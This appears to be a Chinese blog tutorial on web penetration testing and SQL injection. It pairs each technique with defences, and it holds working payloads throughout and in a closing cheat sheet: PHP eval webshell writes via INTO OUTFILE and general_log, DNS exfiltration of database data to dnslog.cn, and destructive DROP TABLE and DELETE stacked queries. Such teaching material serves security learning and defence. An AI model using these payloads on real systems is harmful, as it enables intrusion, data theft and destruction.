Web渗透之SQL注入总结

目录

一、渗透测试基础扫盲

[1. 渗透测试概念](#1. 渗透测试概念)

[2. 渗透测试类型](#2. 渗透测试类型)

[3. 安全漏洞生命周期](#3. 安全漏洞生命周期)

[4. 法律与授权](#4. 法律与授权)

[5. 漏洞库](#5. 漏洞库)

[6. 渗透测试流程](#6. 渗透测试流程)

[7. 主流工具](#7. 主流工具)

[8. 专业术语](#8. 专业术语)

二、渗透测试环境搭建

[1. 靶场推荐](#1. 靶场推荐)

[2. 环境要求](#2. 环境要求)

[3. 常见问题解决](#3. 常见问题解决)

三、登录爆破与验证码绕过

[1. 登录爆破(暴力破解)](#1. 登录爆破(暴力破解))

[2. 验证码绕过](#2. 验证码绕过)

(1)常见绕过方法

(2)防御措施

[四、联合查询注入(Union-based SQL Injection)](#四、联合查询注入(Union-based SQL Injection))

[1. 注入点类型判断](#1. 注入点类型判断)

[2. 确定字段数(ORDER BY)](#2. 确定字段数(ORDER BY))

[3. 确定回显位置(UNION SELECT)](#3. 确定回显位置(UNION SELECT))

[4. 查询数据库名](#4. 查询数据库名)

[5. 查询所有表名](#5. 查询所有表名)

[6. 查询某表的列名](#6. 查询某表的列名)

[7. 查询数据](#7. 查询数据)

[8. 防御措施](#8. 防御措施)

五、木马植入(MySQL读写文件)

[1. 前提条件](#1. 前提条件)

[2. 查看 secure_file_priv](#2. 查看 secure_file_priv)

[3. 写入一句话木马(INTO OUTFILE)](#3. 写入一句话木马(INTO OUTFILE))

[4. 写入二进制木马(INTO DUMPFILE)](#4. 写入二进制木马(INTO DUMPFILE))

[5. 利用通用日志写入(当 secure_file_priv 受限时)](#5. 利用通用日志写入(当 secure_file_priv 受限时))

[6. 连接 Webshell](#6. 连接 Webshell)

[7. 防御措施](#7. 防御措施)

[六、错误注入(Error-based SQL Injection)](#六、错误注入(Error-based SQL Injection))

[1. 原理](#1. 原理)

[2. 常用函数](#2. 常用函数)

(1)extractvalue()

(2)updatexml()

[(3)floor() + group by 报错(主键重复)](#(3)floor() + group by 报错(主键重复))

[3. 长度限制](#3. 长度限制)

[4. 适用条件](#4. 适用条件)

[5. 防御](#5. 防御)

[七、更新注入(UPDATE Injection)](#七、更新注入(UPDATE Injection))

[1. 定义](#1. 定义)

[2. 原理](#2. 原理)

[3. 常见攻击手法](#3. 常见攻击手法)

(1)越权修改其他用户数据

(2)利用报错注入提取数据(MySQL)

(3)时间盲注(无回显时)

[(4)利用 RETURNING 或 OUTPUT 子句(PostgreSQL / SQL Server)](#(4)利用 RETURNING 或 OUTPUT 子句(PostgreSQL / SQL Server))

(5)批量修改或破坏数据

[4. 危害](#4. 危害)

[5. 防御措施](#5. 防御措施)

[6. 检测方法](#6. 检测方法)

[八、布尔盲注(Boolean-based Blind SQL Injection)](#八、布尔盲注(Boolean-based Blind SQL Injection))

[1. 原理](#1. 原理)

[2. 常用函数](#2. 常用函数)

[3. 步骤](#3. 步骤)

(1)判断长度

(2)猜解字符(二分法)

(3)重复猜解第2、3...字符

[4. 效率优化](#4. 效率优化)

[5. 防御](#5. 防御)

[九、时间盲注(Time-based Blind SQL Injection)](#九、时间盲注(Time-based Blind SQL Injection))

[1. 原理](#1. 原理)

[2. 常用延时函数](#2. 常用延时函数)

[3. 示例](#3. 示例)

(1)判断长度

(2)猜解第一个字符

[4. 效率](#4. 效率)

[5. 防御](#5. 防御)

[十、宽字节注入(Wide-Byte Injection)](#十、宽字节注入(Wide-Byte Injection))

[1. 原理](#1. 原理)

[2. 触发条件](#2. 触发条件)

[3. 示例](#3. 示例)

[4. 防御](#4. 防御)

[十一、堆叠注入(Stacked Queries Injection)](#十一、堆叠注入(Stacked Queries Injection))

[1. 原理](#1. 原理)

[2. 示例](#2. 示例)

[3. 常用Payload](#3. 常用Payload)

[4. 限制](#4. 限制)

[5. 防御](#5. 防御)

[十二、URL解码注入(URL Decode Injection)](#十二、URL解码注入(URL Decode Injection))

[1. 原理](#1. 原理)

[2. 典型错误代码](#2. 典型错误代码)

[3. 攻击过程](#3. 攻击过程)

[4. 典型Payload](#4. 典型Payload)

[5. 防御](#5. 防御)

[十三、二次注入(Second-Order Injection)](#十三、二次注入(Second-Order Injection))

[1. 原理](#1. 原理)

[2. 典型场景](#2. 典型场景)

(1)注册恶意用户

(2)修改密码(触发)

[3. 检测方法](#3. 检测方法)

[4. 防御](#4. 防御)

[十四、DNS外带注入(DNS Exfiltration)](#十四、DNS外带注入(DNS Exfiltration))

[1. 原理](#1. 原理)

[2. 前提条件](#2. 前提条件)

[3. 基本语法](#3. 基本语法)

(1)UNC路径格式(Windows)

[(2)使用 //(部分环境也可)](#(2)使用 //(部分环境也可))

[4. 结合联合查询(当有回显位但数据被截断)](#4. 结合联合查询(当有回显位但数据被截断))

[5. 分段外带](#5. 分段外带)

[6. DNSlog平台使用步骤](#6. DNSlog平台使用步骤)

[7. 其他数据库的DNS外带](#7. 其他数据库的DNS外带)

[8. 限制与注意事项](#8. 限制与注意事项)

[9. 防御措施](#9. 防御措施)

附录:常用Payload速查表


一、渗透测试基础扫盲

1. 渗透测试概念

  • 定义:经授权模拟真实攻击,发现系统安全漏洞并给出修复建议。

  • 与漏洞扫描区别:渗透测试验证漏洞可利用性,深度大,误报低。

  • 核心价值:主动防御、合规要求(等保2.0、PCI-DSS)、安全投资回报。

2. 渗透测试类型

  • 黑盒测试:无内部信息,模拟外部黑客。

  • 白盒测试:有源码、架构图,深度审计。

  • 灰盒测试:部分信息,效率与真实性平衡。

  • 外部测试:测试公网资产。

  • 内部测试:模拟内网失陷或内部威胁。

  • 盲测:安全团队不知情,检验响应能力。

  • 双盲测:双方均不知情,最真实。

3. 安全漏洞生命周期

发现 → 私有利用 → 公开泄露 → 大规模利用 → 补丁发布 → 消亡

4. 法律与授权

  • 必须获得书面授权,否则违反《刑法》第285/286条。

  • 授权书应包含:测试范围、时间、规则、紧急联系人。

  • 非法测试可能被判刑(如袁炜案、刘某案)。

5. 漏洞库

  • 国内:CNNVD、CNVD、补天、漏洞盒子。

  • 国际:CVE、NVD、Exploit-DB、CWE。

6. 渗透测试流程

  1. 信息收集(被动+主动)

  2. 漏洞探测(扫描+手动)

  3. 漏洞利用(获取权限)

  4. 后渗透与提权

  5. 持久化与控制

  6. 清理痕迹

  7. 报告输出

7. 主流工具

  • 信息收集:Nmap、Masscan、Gobuster、Shodan

  • 漏洞扫描:AWVS、Nessus、OpenVAS

  • 漏洞利用:Metasploit、Burp Suite、SQLmap

  • 后渗透:Mimikatz、LinPEAS、Cobalt Strike

8. 专业术语

  • POC:证明漏洞存在的概念代码。

  • EXP:完整利用代码。

  • Payload:核心执行代码(如反弹Shell)。

  • Webshell:网页后门。

  • 提权:从低权限提升到管理员。

  • 横向移动:内网中跳板攻击。


二、渗透测试环境搭建

1. 靶场推荐

  • DVWA(Damn Vulnerable Web Application)

  • Pikachu(国产漏洞练习平台)

  • SQLi-LABS(SQL注入专项)

  • Webug(综合漏洞平台)

  • VulHub(Docker化漏洞环境)

2. 环境要求

  • LAMP(Linux + Apache + MySQL + PHP)或 LNMP

  • 虚拟机:VMware / VirtualBox,推荐 CentOS 7 / Ubuntu 20.04

  • 数据库配置:

    • secure_file_priv 需根据需求设置(为空可读写任意路径,NULL禁止)

    • 用户权限最小化

3. 常见问题解决

  • MySQL启动失败:查看日志 /var/log/mysqld.log

  • 连接超时:检查防火墙、SELinux、bind-address

  • 文件读写权限:chmod 777 测试目录,setenforce 0 关闭SELinux


三、登录爆破与验证码绕过

1. 登录爆破(暴力破解)

  • 原理:自动化尝试大量用户名/密码组合。

  • 工具

    • Burp Suite Intruder(Web表单)

    • Hydra(多协议:SSH、FTP、RDP)

    • Medusa(并行爆破)

  • 字典

    • 常用用户名:admin, root, test, guest, user

    • 常用密码:123456, password, admin123, qwerty

  • 手法

    • 密码喷洒:一个密码尝试多个用户名。

    • 用户名枚举:通过注册/忘记密码接口判断用户名是否存在。

  • 防御

    • 账户锁定(连续失败N次后锁定T时间)

    • 延迟响应(固定延迟1-3秒)

    • 二次验证(验证码、短信、生物识别)

    • 双因素认证(2FA)

2. 验证码绕过

(1)常见绕过方法
类型 描述 利用方式
可重复使用 验证码使用后未销毁 同一个验证码多次提交
无效校验 后端未严格校验 删除验证码参数或传空值
图形验证码识别 简单验证码可被OCR识别 Tesseract、打码平台(超级鹰)
短信/邮箱验证码 4-6位数字,无频率限制 Burp Intruder枚举
验证码泄露 返回在HTTP响应中 抓包查看
逻辑缺陷 清空验证码值即可绕过 captcha=
(2)防御措施
  • 验证码一次性使用,与session绑定。

  • 增加复杂度:扭曲、噪点、干扰线、背景混淆。

  • 行为验证:滑动拼图、点选文字(极验)。

  • 频率限制:同一IP/账户每分钟最多5次请求。

  • 短信验证码:5分钟有效期,每日限制发送次数。


四、联合查询注入(Union-based SQL Injection)

1. 注入点类型判断

  • 字符型 :输入 1' 报错 → 1' and '1'='1 正常 → 字符型。

  • 数字型 :输入 1 and 1=1 正常 → 1 and 1=2 异常 → 数字型。

2. 确定字段数(ORDER BY)

复制代码
1' ORDER BY 1 -- 
1' ORDER BY 2 -- 
...
1' ORDER BY n --   // 当n超过实际列数时报错
  • 示例:1' ORDER BY 3 -- 正常,1' ORDER BY 4 -- 报错 → 共有3列。

3. 确定回显位置(UNION SELECT)

复制代码
-1' UNION SELECT 1,2,3 -- 
  • 页面中显示的数字(如1,2,3)即为回显位置,后续将查询替换到这些位置。

4. 查询数据库名

复制代码
-1' UNION SELECT database(),2,3 -- 

5. 查询所有表名

复制代码
-1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database() -- 

6. 查询某表的列名

复制代码
-1' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users' -- 

7. 查询数据

复制代码
-1' UNION SELECT group_concat(concat(username,':',password)),2,3 FROM users -- 

8. 防御措施

  • 参数化查询(预编译)$stmt = $conn->prepare("SELECT ... WHERE id = ?");

  • 输入过滤 :数字型用 intval(),字符串白名单。

  • 最小权限:数据库账户仅允许必要查询。


五、木马植入(MySQL读写文件)

1. 前提条件

  • MySQL全局变量 secure_file_priv 为空(允许任意路径读写)。

  • 当前数据库用户拥有 FILE 权限。

  • 已知网站绝对路径(如 /var/www/html/)。

  • 目标目录具有MySQL进程(mysql用户)写权限。

2. 查看 secure_file_priv

复制代码
SHOW VARIABLES LIKE 'secure_file_priv';
  • 值为 NULL → 禁止读写。

  • 值为路径 → 只能读写该目录。

  • 值为空 → 无限制。

3. 写入一句话木马(INTO OUTFILE)

复制代码
SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

结合联合查询:

复制代码
id=1' UNION SELECT 1,2,'<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' -- 
  • 注意INTO OUTFILE 不能覆盖已存在的文件,需确保目标文件不存在。

4. 写入二进制木马(INTO DUMPFILE)

将PHP代码转换为十六进制(使用 HEX() 或手动):

复制代码
SELECT 0x3c3f70687020406576616c28245f504f53545b22636d64225d293b203f3e INTO DUMPFILE '/var/www/html/shell.php';
  • 0x3c3f... 对应 <?php @eval($_POST["cmd"]); ?>

5. 利用通用日志写入(当 secure_file_priv 受限时)

复制代码
-- 开启日志
SET GLOBAL general_log = 'ON';
-- 设置日志文件路径为Web目录
SET GLOBAL general_log_file = '/var/www/html/shell.php';
-- 执行含木马的查询
SELECT '<?php @eval($_POST["cmd"]); ?>';
-- 关闭日志
SET GLOBAL general_log = 'OFF';
  • 要求 :需要 SUPER 权限。

6. 连接 Webshell

  • 使用中国蚁剑冰蝎菜刀 连接 http://target.com/shell.php,密码 cmd

  • 或直接POST数据:cmd=system('whoami');

7. 防御措施

  • 设置 secure_file_priv=NULL

  • 数据库用户禁用 FILESUPER 权限。

  • Web目录权限设置为仅Web服务用户可写,MySQL用户不可写。

  • 定期扫描Web目录可疑文件。


六、错误注入(Error-based SQL Injection)

1. 原理

利用数据库返回的错误信息,将查询结果拼接到错误消息中。

2. 常用函数

(1)extractvalue()
复制代码
1' AND extractvalue(1, concat(0x7e, (子查询), 0x7e)) -- -
  • 示例:获取数据库名

    复制代码
    1' AND extractvalue(1, concat(0x7e, database(), 0x7e)) -- -
  • 报错:XPATH syntax error: '~security~'

(2)updatexml()
复制代码
1' AND updatexml(1, concat(0x7e, (子查询), 0x7e), 1) -- -
(3)floor() + group by 报错(主键重复)
复制代码
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) -- -
  • 报错:Duplicate entry 'security1' for key 'group_key'

3. 长度限制

  • extractvalueupdatexml 只返回约32字符。

  • 使用 substring() 分段:

    复制代码
    1' AND extractvalue(1, concat(0x7e, substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 1, 31), 0x7e)) -- -

4. 适用条件

  • Web应用开启错误回显(display_errors=On)。

  • 错误未被自定义页面屏蔽。

5. 防御

  • 关闭错误回显。

  • 使用参数化查询。


七、更新注入(UPDATE Injection)

1. 定义

更新注入是指攻击者利用Web应用中存在SQL注入漏洞的 UPDATE 语句,通过构造恶意输入修改数据库中的记录,甚至可能利用子查询或报错函数窃取数据。

2. 原理

应用程序在更新数据时,采用字符串拼接方式构造 UPDATE 语句,且未对用户输入进行过滤或参数化。例如:

复制代码
$sql = "UPDATE users SET password = '".$_POST['new_pwd']."' WHERE username = '".$_SESSION['user']."'";

攻击者可在密码字段中注入额外的SQL代码,改变原始语句的语义。

3. 常见攻击手法

(1)越权修改其他用户数据

通过闭合字符串并添加新的 WHERE 条件,修改其他用户的字段。

复制代码
-- 正常密码输入:123456
-- 恶意输入:123456', password = 'hacked' WHERE username = 'admin' -- 

拼接后SQL:

复制代码
UPDATE users SET password = '123456', password = 'hacked' WHERE username = 'admin' -- ' WHERE username = '当前用户'

结果:管理员 admin 的密码被改为 hacked

(2)利用报错注入提取数据(MySQL)

UPDATE 语句中插入 extractvalueupdatexml,将查询结果通过报错信息带出。

复制代码
UPDATE users SET password = '' OR extractvalue(1, concat(0x7e, database())) OR '' WHERE username = 'admin';

若页面显示数据库错误,则会暴露当前数据库名。

(3)时间盲注(无回显时)

利用 IF 条件结合 SLEEP,根据响应时间推断数据。l

复制代码
UPDATE users SET token = '' WHERE id = 1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0);
(4)利用 RETURNINGOUTPUT 子句(PostgreSQL / SQL Server)

某些数据库支持 RETURNING,可将更新后的数据或子查询结果直接返回。

复制代码
-- PostgreSQL
UPDATE users SET email = 'new@example.com' WHERE username = 'admin' RETURNING (SELECT usename FROM pg_user);

如果应用将返回值显示在页面上,则可窃取数据。

(5)批量修改或破坏数据

若注入点可以注释掉 WHERE 条件,则可能更新全表。

复制代码
-- 密码字段输入:123456', email = 'attacked' -- 

拼接后:

复制代码
UPDATE users SET password = '123456', email = 'attacked' -- ' WHERE username = 'user'

所有用户的邮箱被修改。

4. 危害

  • 越权:修改其他用户的密码、邮箱、权限等。

  • 数据破坏:将关键字段置空或篡改业务数据。

  • 信息泄露:结合报错或时间盲注提取数据库内容。

  • 权限提升 :将普通用户的 role 字段改为 admin

5. 防御措施

  • 参数化查询(预编译)UPDATE 语句也必须使用参数化。

    复制代码
    $stmt = $conn->prepare("UPDATE users SET password = ? WHERE username = ?");
    $stmt->bind_param("ss", $newpass, $username);
  • 最小权限原则 :数据库用户只授予必需的 UPDATE 权限(可限制特定列)。

  • 输入验证:对更新内容进行类型校验和白名单过滤。

  • 禁用危险函数 :如 extractvalueupdatexml 等(可在数据库层面禁用或过滤)。

  • 使用ORM框架:自动参数化。

6. 检测方法

  • 黑盒 :在可修改的字段中输入 '' OR '1'='1,观察是否出现数据库错误或越权修改。

  • 白盒 :搜索代码中拼接的 UPDATE 语句,检查是否使用了参数化查询。

八、布尔盲注(Boolean-based Blind SQL Injection)

1. 原理

页面根据SQL条件真假显示不同内容(如"存在" vs "不存在"),通过构造布尔表达式逐字符猜解。

2. 常用函数

  • LENGTH(str):返回长度。

  • SUBSTR(str, pos, len):截取子串。

  • ASCII(char):返回ASCII码。

3. 步骤

(1)判断长度
复制代码
1' AND LENGTH(database()) = 8 -- 

如果页面正常(真),则长度为8;否则调整数值。

(2)猜解字符(二分法)
复制代码
1' AND ASCII(SUBSTRING(database(),1,1)) > 100 -- 
  • 页面正常 → ASCII > 100,缩小范围到101-127。

  • 页面异常 → ASCII ≤ 100,缩小范围到32-100。

  • 最终确定具体值,如 115 对应字符 's'

(3)重复猜解第2、3...字符
复制代码
1' AND ASCII(SUBSTRING(database(),2,1)) = 101 -- 

4. 效率优化

  • 二分查找:每个字符约7-8次请求。

  • 脚本自动化:Python、Burp Intruder。

  • 工具 :sqlmap (--technique=B)

5. 防御

  • 统一错误页面,使真假条件返回相同内容。

  • 参数化查询(根本)。


九、时间盲注(Time-based Blind SQL Injection)

1. 原理

页面无任何内容差异,利用数据库延时函数(如 SLEEP),根据响应时间推断条件真假。

2. 常用延时函数

  • MySQLSLEEP(seconds), BENCHMARK(count, expr)

  • SQL ServerWAITFOR DELAY '0:0:5'

  • PostgreSQLpg_sleep(seconds)

3. 示例

(1)判断长度
复制代码
1' AND IF(LENGTH(database())=8, SLEEP(5), 0) -- 
  • 响应延迟5秒 → 长度为8。

  • 立即响应 → 长度不是8。

(2)猜解第一个字符
复制代码
1' AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0) -- 
  • 延迟5秒 → ASCII > 100;否则 ≤100。

4. 效率

极慢,每个字符需要多次5秒等待,通常完全依赖自动化工具(sqlmap)。

5. 防御

  • 禁用延时函数(不现实)。

  • 参数化查询。


十、宽字节注入(Wide-Byte Injection)

1. 原理

当数据库使用GBK、GB2312等多字节字符集时,addslashes 添加的反斜杠 \(ASCII 0x5c)与输入中的某个字节(如 %df)组合成一个合法汉字(%df%5c = ),从而"吃掉"反斜杠,使得后面的单引号恢复元字符功能,导致注入。

2. 触发条件

  • 数据库连接执行 SET NAMES 'gbk'(或类似)。

  • 应用程序使用 addslashesmysql_real_escape_string 转义。

  • 用户输入包含宽字节字符(如 %df%bf%e5)。

3. 示例

正常输入 1' 会被转义为 1\',无法注入。 攻击者输入:1%df' 过程:

  • addslashes 处理:1%df\' → 实际字节序列:31 df 5c 27

  • GBK字符集中,df 5c 组成一个汉字 ,反斜杠被消耗。

  • 剩下的 27 即为单引号,成功闭合原SQL。

Payload:

复制代码
http://example.com/page.php?id=1%df' UNION SELECT 1,2,3 -- 

4. 防御

  • 统一使用UTF-8字符集 (UTF-8中 %df%5c 不是有效多字节字符,反斜杠不会被消耗)。

  • 参数化查询(根本解决)。


十一、堆叠注入(Stacked Queries Injection)

1. 原理

使用分号 ; 结束当前SQL语句,然后执行另一条或多条SQL语句。需要数据库驱动支持多语句执行(如 PHP 的 mysqli_multi_query())。

2. 示例

复制代码
1; DELETE FROM users WHERE id=2 -- 

拼接后SQL:

复制代码
SELECT * FROM users WHERE id=1; DELETE FROM users WHERE id=2 -- '
  • 第一条查询正常执行,第二条删除数据。

3. 常用Payload

  • 插入后门:1; INSERT INTO users (username, password) VALUES ('hacker', 'pass') --

  • 修改密码:1; UPDATE users SET password='newpass' WHERE username='admin' --

  • 创建表:1; CREATE TABLE backdoor (cmd TEXT) --

  • 延时探测:1; SELECT SLEEP(5) --

4. 限制

  • 并非所有环境支持:PHP 的 mysql_query() 不支持多语句,mysqli_multi_query() 支持。

  • 通常用于破坏或提权,而非数据窃取(无回显)。

5. 防御

  • 禁用多语句执行函数(不使用 multi_query)。

  • 参数化查询(同样有效)。


十二、URL解码注入(URL Decode Injection)

1. 原理

Web服务器会自动对URL参数进行一次解码(%XX → 字符)。如果应用程序再次手动调用 urldecode()rawurldecode(),就会产生二次解码。攻击者利用双重编码(如 %2527)绕过转义函数。

2. 典型错误代码

复制代码
$id = addslashes($_GET['id']);   // 先转义
$id = urldecode($id);            // 再次解码 ← 危险
$sql = "SELECT * FROM users WHERE id='$id'";

3. 攻击过程

  • 用户输入:1%2527%25% 的编码,%27' 的编码)

  • Web服务器自动解码一次 → 1%27

  • addslashes 处理 1%27% 不是特殊字符,所以不变 → 仍是 1%27

  • urldecode 再次解码 → 1'

  • 最终SQL:... WHERE id='1'' → 注入成功

4. 典型Payload

复制代码
1%2527 union select database() %23

%23# 注释符)

5. 防御

  • 不要手动解码URL参数$_GET$_POST 已经自动解码,禁止调用 urldecode

  • 使用参数化查询。


十三、二次注入(Second-Order Injection)

1. 原理

攻击者首先在一个输入点(如注册、评论)提交包含SQL元字符的字符串,该字符串被安全存储 到数据库(如使用 addslashes 或参数化)。然后在另一个功能(如修改密码、个人资料)中,应用程序从数据库取出该字符串并直接拼接到SQL语句(未再次过滤),从而触发注入。

2. 典型场景

(1)注册恶意用户

用户名:admin' -- 注册时SQL:

复制代码
INSERT INTO users (username, password) VALUES ('admin\' --', '123456')

由于转义,用户名被安全存储为 admin' --(反斜杠不进入数据库)。

(2)修改密码(触发)

修改密码时SQL:

复制代码
UPDATE users SET password='newpass' WHERE username='admin' -- '

-- 注释了后面的内容,实际执行:

复制代码
UPDATE users SET password='newpass' WHERE username='admin'

成功修改管理员密码。

3. 检测方法

  • 在可存储的位置输入 test' OR '1'='1,然后访问可能使用该数据的页面(如个人主页),观察是否出现越权或异常。

  • 白盒审计:追踪从数据库取出的数据是否被拼接到SQL。

4. 防御

  • 所有SQL操作使用参数化查询,无论数据来自用户输入还是数据库。

  • 即使从数据库取出数据,也要转义或类型转换(但参数化更好)。


十四、DNS外带注入(DNS Exfiltration)

1. 原理

当数据库无直接回显时,利用 LOAD_FILE() 函数(或其它能发起网络请求的函数)向攻击者控制的DNS服务器发起域名解析请求,并将查询结果拼接到子域名中。攻击者通过DNSlog平台记录的子域名获取数据。

2. 前提条件

  • MySQL配置 secure_file_priv 为空。

  • 数据库服务器为 Windows 系统(UNC路径依赖)。

  • 数据库用户拥有 FILE 权限。

  • 目标服务器能够向公网发起DNS请求。

3. 基本语法

(1)UNC路径格式(Windows)
复制代码
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.your-dnslog.com\\a'));
  • \\\\ 是UNC路径的起始,实际为 \\

  • 域名中的点 . 不能少。

(2)使用 //(部分环境也可)
复制代码
SELECT LOAD_FILE(CONCAT('//', (SELECT database()), '.your-dnslog.com/1.txt'));

4. 结合联合查询(当有回显位但数据被截断)

复制代码
id=1' UNION SELECT 1, LOAD_FILE(CONCAT('//', (SELECT database()), '.dnslog.cn/1.txt')), 3 -- 

5. 分段外带

域名每段最长63字符,总长不超过253。长数据需用 SUBSTR() 分段。

复制代码
SELECT LOAD_FILE(CONCAT('//', SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'), 1, 30), '.dnslog.cn/1.txt'));
  • 第一次取1-30字符,第二次取31-60,依此类推。

6. DNSlog平台使用步骤

  1. 访问 http://dnslog.cnhttp://ceye.io,获取一个子域名(如 abc123.dnslog.cn)。

  2. 构造SQL语句,将待查询数据拼接到子域名前面(如 database().abc123.dnslog.cn)。

  3. 执行SQL,目标服务器发起DNS查询。

  4. 刷新DNSlog平台页面,查看记录,提取数据。

7. 其他数据库的DNS外带

  • MSSQLxp_dirtree

    复制代码
    DECLARE @a VARCHAR(2000);
    SET @a = CONCAT('\\', (SELECT db_name()), '.dnslog.cn\\a');
    EXEC master..xp_dirtree @a;
  • OracleUTL_INADDR.GET_HOST_ADDRESS

    复制代码
    SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1)||'.dnslog.cn') FROM DUAL;
  • PostgreSQLCOPYdblink

8. 限制与注意事项

  • 数据中不能有特殊字符(如 _, - 可以,但 !, @, # 不行)。建议使用 HEX() 编码后外带,再解码。

  • 域名长度有限,需分段。

  • 部分WAF会拦截 LOAD_FILEUNC 路径,可尝试编码或混淆。

9. 防御措施

  • 设置 secure_file_priv=NULL(禁止 LOAD_FILE 读取网络路径)。

  • 限制数据库服务器出站DNS请求(仅允许与内部DNS通信)。

  • 使用参数化查询。


附录:常用Payload速查表

目的 Payload
判断字符型注入 1' and '1'='1
判断数字型注入 1 and 1=1
联合查询-字段数 1' ORDER BY 3 --
联合查询-数据库 -1' UNION SELECT database(),2,3 --
报错注入-数据库 1' AND extractvalue(1, concat(0x7e, database(), 0x7e)) --
布尔盲注-长度 1' AND LENGTH(database())=8 --
时间盲注-延时 1' AND IF(1=1, SLEEP(5), 0) --
宽字节注入 1%df' UNION SELECT 1,2,3 --
堆叠注入 1; DROP TABLE users --
URL解码注入 1%2527 union select database() %23
二次注入(注册) 用户名 admin' --
DNS外带 SELECT LOAD_FILE(CONCAT('//',database(),'.dnslog.cn/1.txt'))
写Webshell SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
相关推荐
davawang2 小时前
基于SQL实现分组的文字排序聚合
sql·分析函数·数据平台
程序猿小三2 小时前
福建省第一届“闽盾杯“网络安全职业技能竞赛 — 备赛学习路线
开发语言·网络安全·php
kishu_iOS&AI2 小时前
LLM —— 安全和合规性
安全·大模型·agent
m0_738120722 小时前
HVV应急溯源基础——Linux 系统安全加固配置指南(一)
linux·运维·服务器·安全·网络安全·系统安全
guyuyiqi3 小时前
糖精钠检测技术科普
科技·安全·制造
布朗克1684 小时前
26 多线程基础——Thread、Runnable与线程安全
java·安全·多线程
juesdo4 小时前
青岑CTF之 EZPHP系列
笔记·web安全·php
lulu12165440784 小时前
大模型API聚合平台技术架构深度对比:六大平台协议转换、路由调度与安全治理全解析 - 微元算力(weytoken)
java·人工智能·安全·架构·ai编程
可乐ea4 小时前
【Spring Boot + MyBatis|第4篇】MyBatis 动态 SQL:if、where、foreach 使用详解
java·spring boot·后端·sql·mybatis